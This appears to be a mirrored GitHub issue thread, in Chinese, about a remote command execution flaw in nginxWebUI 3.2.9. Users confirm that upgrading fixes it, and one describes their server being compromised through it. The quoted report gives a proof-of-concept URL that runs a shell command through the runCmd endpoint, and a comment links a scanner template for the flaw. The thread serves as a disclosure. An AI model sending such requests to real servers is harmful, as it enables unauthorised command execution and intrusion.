Comments (8)
cym1102
commented on September 26, 2024
升级到最新版已解决此问题
…------------------ 原始邮件 ------------------
发件人: ***@***.***>;
发送时间: 2023年6月30日(星期五) 上午8:50
收件人: ***@***.***>;
抄送: ***@***.***>;
主题: [cym1102/nginxWebUI] 远程命令漏洞 (Issue #87)
执行以下命令：
http://xxxxxx/AdminPage/conf/runCmd?cmd=ifconfig
版本: 3.2.9
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you are subscribed to this thread.Message ID: ***@***.***>
from nginxwebui.
alansun2
commented on September 26, 2024
好的
from nginxwebui.
XYZliang
commented on September 26, 2024
升级到最新版已解决此问题
…
------------------ 原始邮件 ------------------ 发件人: @.>; 发送时间: 2023年6月30日(星期五) 上午8:50 收件人: @.>; 抄送: @.>; 主题: [cym1102/nginxWebUI] 远程命令漏洞 (Issue #87) 执行以下命令： http://xxxxxx/AdminPage/conf/runCmd?cmd=ifconfig 版本: 3.2.9 — Reply to this email directly, view it on GitHub, or unsubscribe. You are receiving this because you are subscribed to this thread.Message ID: @.>
搞得我服务器被入侵。。。。
from nginxwebui.
XYZliang
commented on September 26, 2024
升级到最新版已解决此问题
…
------------------ 原始邮件 ------------------ 发件人: @.>; 发送时间: 2023年6月30日(星期五) 上午8:50 收件人: @.>; 抄送: @.>; 主题: [cym1102/nginxWebUI] 远程命令漏洞 (Issue #87) 执行以下命令： http://xxxxxx/AdminPage/conf/runCmd?cmd=ifconfig 版本: 3.2.9 — Reply to this email directly, view it on GitHub, or unsubscribe. You are receiving this because you are subscribed to this thread.Message ID: @.>
https://github.com/UltimateSec/ultimaste-nuclei-templates/blob/main/nginxwebui/nginxwebui-runcmd-rce.yaml
这漏洞实在是。。。。。。。。
from nginxwebui.
376924098
commented on September 26, 2024
破案了
from nginxwebui.
XYZliang
commented on September 26, 2024
破案了
而且还docker逃逸，干我主机去了，还有权限维持，只能重装
from nginxwebui.
376924098
commented on September 26, 2024
折腾两天 昨晚备份数据 折腾到1点多
from nginxwebui.
XYZliang
commented on September 26, 2024
折腾两天 昨晚备份数据 折腾到1点多
真的服了
from nginxwebui.
Related Issues (20)
- 反向代理优化建议 HOT 13
- SMTP 邮件配置发送失败 HOT 8
- nginx: [warn] the "listen ... http2" directive is deprecated, use the "http2" directive instead HOT 2
- nginxWebUI正常运行，但是占用了全部端口
- 垃圾垃圾垃圾 没测试就拿出来显世 HOT 5
- 系统配置读取错误 HOT 1
- 4.1.6版本提示"/home/nginxWebUI/logs/error.log" failed HOT 3
- 证书界面错位 HOT 5
- cloudflare 证书申请成功，webui 显示失败 HOT 1
- 证书管理在4.2.0版本中，使用“DNS验证”无法获取证书 HOT 9
- 放开 tcp 反向代理的限制 HOT 6
- 容器中运行时，不能正常转发 HOT 1
- 更新到4.2.2版本后，出现用户名密码错误 HOT 1
- 启用配置报错“联系开发者”
- 启用配置页面报错“联系开发者” HOT 3
- 建议增加面板根路径，方便面板通过location反代 HOT 3
- 自动申请证书部分能不能像nginx proxy management那样是用使用token请求cloudflare的接口，而不是用Key
- 保存數據bug，導致所有【額外參數】重複 HOT 3
- 使用ibm-jdk8或者21获取验证码报错 HOT 1
- nginxWebUI-Pro docker 启动失败 HOT 2
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from nginxwebui.